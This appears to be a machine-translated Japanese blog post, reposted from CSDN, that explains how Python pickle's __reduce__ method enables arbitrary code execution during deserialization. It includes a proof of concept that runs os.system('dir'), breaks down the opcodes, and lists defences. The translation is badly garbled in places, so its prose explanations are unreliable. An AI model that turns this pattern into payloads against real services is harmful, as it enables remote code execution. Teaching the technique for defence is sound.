任意のコード実行にPythonの逆シリアル化の脆弱性

私は直列化のpython文字列、タプル、リストや辞書を紹介したブログ記事

詳細は以下を参照してください
パイソンの文字列シーケンス、リスト、辞書のシーケンスを、クラスが説明しました

私はこのブログを紹介します python反序列化漏洞 任意代码执行

それでは、どのようにそれを実行するために、任意のコードをデシリアライズ?

話にまず__reduce__魔法の方法、
この方法は、シーケンスのどのオブジェクトクラスを示すために使用されなければならない
、それはタプル型は、任意のコードの実行を実装することができ返すとき

例えば:

import pickle
import os

class Student(object):
    name = 'yuaneuro'
    age = '20'
    def __reduce__(self):
        cmd = "dir"
        return os.system, (cmd,)

y = pickle.dumps(Student())
print(y)
pickle.loads(y)

結果:
ここに画像を挿入説明
私たちは、逆シリアル化操作の実装は、当社の実行時にことがわかりdirコマンドを

私たちは分析から連載となります。

b'\x80\x03cnt\nsystem\nq\x00X\x03\x00\x00\x00dirq\x01\x85q\x02Rq\x03.'

説明:

\ 03使ってcオペレータ導入ntモジュールのsystem機能ntモジュールはあるosモジュールwindows上で実施
q\x00識別system関数memoインデックス領域
X\x03\x00\x00\x00識別後ろdirの文字列の長さ
q\x01を識別するdirのメモ領域内の文字列のインデックス
\x85メタ要素を確立しますグループは、この要素は、DIR先行する文字列で
q\x02識別するインデックス領域メモにおけるタプル
Rスタック(システム)の機能オペレータ識別ラントップ、およびDIRはタプルとして渡されたパラメータが含まれています

我々は、任意のコードの実行に、逆シリアル化の脆弱性を達成するために他の操作にコマンドをDIRすることができます

それでは、どのように、このような抜け穴から守るのですか?

公式には、文書で述べて、pickleモジュールが安全ではない、これまで信頼できないデータをデシリアライズ行っていません。

  • あなたは、より高度なインタフェースを使用することができ__getnewargs()__getstate__()__setstate__()及びその代わりに__reduce__()魔法の方法
  • 厳格なフィルタリングのために、デシリアライズする前

この記事の終わり

公開された10元の記事 ウォン称賛14 ビュー3709

おすすめ

転載: blog.csdn.net/yuaneuro/article/details/104732477